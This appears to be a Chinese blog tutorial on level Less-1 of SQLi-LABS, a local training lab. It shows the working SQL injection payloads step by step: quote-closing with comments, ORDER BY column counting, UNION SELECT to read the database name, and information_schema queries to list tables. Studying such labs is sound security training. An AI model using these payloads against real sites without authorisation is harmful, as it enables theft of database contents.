SQLi-LABS的Less1分析

本文讲述了SQL注入的概念,以SQLi-LABS的Less1为例,详细解释了如何利用SQL注入攻击获取敏感信息,包括通过参数注入修改查询语句、检测字段数、获取数据库名和表名。同时介绍了PHPStudy环境下的实践过程。
摘要由CSDN通过智能技术生成

什么是SQL注入以及SQLi-LABS呢

SQL注入是一种常见的网络安全漏洞和攻击方式,它利用应用程序对用户输入数据的处理不当,使得攻击者能够在执行SQL查询时插入恶意的SQL代码。通过成功注入恶意代码,攻击者可以执行未经授权的数据库操作,获取敏感信息、篡改数据甚至完全破坏数据库

SQLi-Labs是一个用于教学和实践SQL注入攻击的开源项目。它提供了一系列具有不同安全漏洞的Web应用程序,供安全专业人员、学生和研究人员进行SQL注入的实验和测试,帮助人们了解和学习SQL注入攻击的原理、技术和防御方法

那么SQLi-Labs的Less1这个题为啥会产生sql注入,根据第一篇学习技术总结可知,我们在phpStudy启动Apache和MySQL后,在localhost这个网页点击Less1 ,可以看到下面界面

看到please input the ID as parameter with numeric value 可知请输入id作为带数值的参数,那么从id入手在网页上localhost/Less-1后输入?id=1 即localhost /Less-1/?id=1 (输入用英文)结果如下

那么试试吧?id=1删了写上?id=1’结果如下

报了语法错误,那么在最后加入注释符 --+,即loalhost/Less-1/?id=1' --+

猜测查询语句为:select <字段> from <数据库>.<表> where id='$id';如果想知道具体网页代码可以去D:\phpstudy_pro\WWW\sqli-labs-master\Less-1\index.php可以下载sublime后打开。

那么为什么输入单引号是为了与代码的单引号闭合掉也就是select <字段> from <数据库>.<表> where id='1' --+ '

使用order by命令看看有几列,多出来就会报错。当输入?id=1' order by 4 --+ // select <字段> from <数据库>.<表> where id='1' order by 4 --+ '报错了,说明这个表里有3个字段

使用union联合查询?id=-1' union select 1,2,3 --+   //select <字段> from <数据库>.<表> where id='-1' union select 1,2,3 --+ '//这里要把这个1改为表内没有的内容,否则查询内容显示不出来,我这里改为-1

判断当前数据库:select database()那么输入?id=-1' union select 1,database(),3 --+   //把2 改为了database()// select <字段> from <数据库>.<表> where id='-1' union select 1,database(),3 --+ '得到当前数据库名:security

接下来爆表名?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() --+ //查询当前数据库(security)下所有的表名。是在tables查询的。group_concat()是让数据在一行显示。

查询当前数据库(security)下,users表内的所有字段名。是在columns表中查询的。

输入

显示

查询security数据库下users表的内容

那么这样就看到表的内容了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值